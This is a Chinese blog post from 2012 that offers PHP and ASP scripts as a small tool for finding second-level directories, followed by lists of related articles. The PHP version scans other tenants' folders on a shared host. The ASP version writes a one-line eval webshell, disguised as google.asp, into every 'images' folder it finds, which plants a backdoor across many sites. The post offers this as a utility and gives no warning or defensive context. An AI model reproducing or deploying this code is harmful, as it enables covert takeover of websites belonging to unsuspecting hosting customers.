php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
php中批量替换文件名的实现代码
Jul 20 PHP
如何利用php array_multisort函数 对数据库结果进行复杂排序
Jun 08 PHP
解析curl提交GET,POST,Cookie的简单方法
Jun 29 PHP
php防止sql注入示例分析和几种常见攻击正则表达式
Jan 12 PHP
PHP实现数组递归转义的方法
Aug 28 PHP
PHP使用header()输出图片缓存实例
Dec 09 PHP
分享PHP守护进程类
Dec 30 PHP
PHP二维数组去重实例分析
Nov 18 PHP
PHP将字符串首字母大小写转换的实例
Jan 21 PHP
PHP实现在windows下配置sendmail并通过mail()函数发送邮件的方法
Jun 20 PHP
laravel框架 laravel-admin上传图片到oss的方法
Oct 13 PHP
Laravel实现搜索的时候分页并携带参数
Oct 15 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
PHP 选项及相关信息函数库
2006/12/04 PHP
PHP __autoload函数(自动载入类文件)的使用方法
2012/02/04 PHP
具有时效性的php加密解密函数代码
2013/06/19 PHP
PHP数组相关函数汇总
2015/03/24 PHP
Yii框架 session 数据库存储操作方法示例
2019/11/18 PHP
动态加载iframe
2006/06/16 Javascript
innerHTML,outerHTML,innerTEXT三者之间的区别
2007/01/28 Javascript
js下利用控制器载入对应脚本
2010/07/17 Javascript
jquery $.ajax()取xml数据的小问题解决方法
2010/11/20 Javascript
读jQuery之十 事件模块概述
2011/06/27 Javascript
js导出格式化的excel 实例方法
2013/07/17 Javascript
浅谈Nodejs观察者模式
2015/10/13 NodeJs
详解基于Bootstrap扁平化的后台框架Ace
2015/11/27 Javascript
js实现四舍五入完全保留两位小数的方法
2016/08/02 Javascript
Vue.js展示AJAX数据简单示例讲解
2017/03/29 Javascript
浅谈关于angularJs中使用$.ajax的注意点
2017/08/12 Javascript
深入浅出理解JavaScript高级定时器原理与用法
2018/08/02 Javascript
微信小程序实现选项卡效果
2018/11/06 Javascript
详解JavaScript函数callee、call、apply的区别
2019/03/08 Javascript
python输出数组中指定元素的所有索引示例
2019/12/06 Python
django xadmin action兼容自定义model权限教程
2020/03/30 Python
python实现126邮箱发送邮件
2020/05/20 Python
python输入中文的实例方法
2020/09/14 Python
python中添加模块导入路径的方法
2021/02/03 Python
如何用python爬取微博热搜数据并保存
2021/02/20 Python
俄罗斯园林植物网上商店:Garshinka
2020/07/16 全球购物
大学生自我评价范文分享
2014/02/21 职场文书
2014年公司迎新年活动方案
2014/02/24 职场文书
大学生交通专业求职信
2014/09/01 职场文书
2014年司法局工作总结
2014/12/11 职场文书
工商局个人工作总结
2015/03/03 职场文书
演讲开头怎么书写?
2019/08/06 职场文书
分析设计模式之模板方法Java实现
2021/06/23 Java/Android
SpringBoot+VUE实现数据表格的实战
2021/08/02 Java/Android
Linux下使用C语言代码搭建一个简单的HTTP服务器
2022/04/13 Servers
详解Go语言中配置文件使用与日志配置
2022/06/01 Golang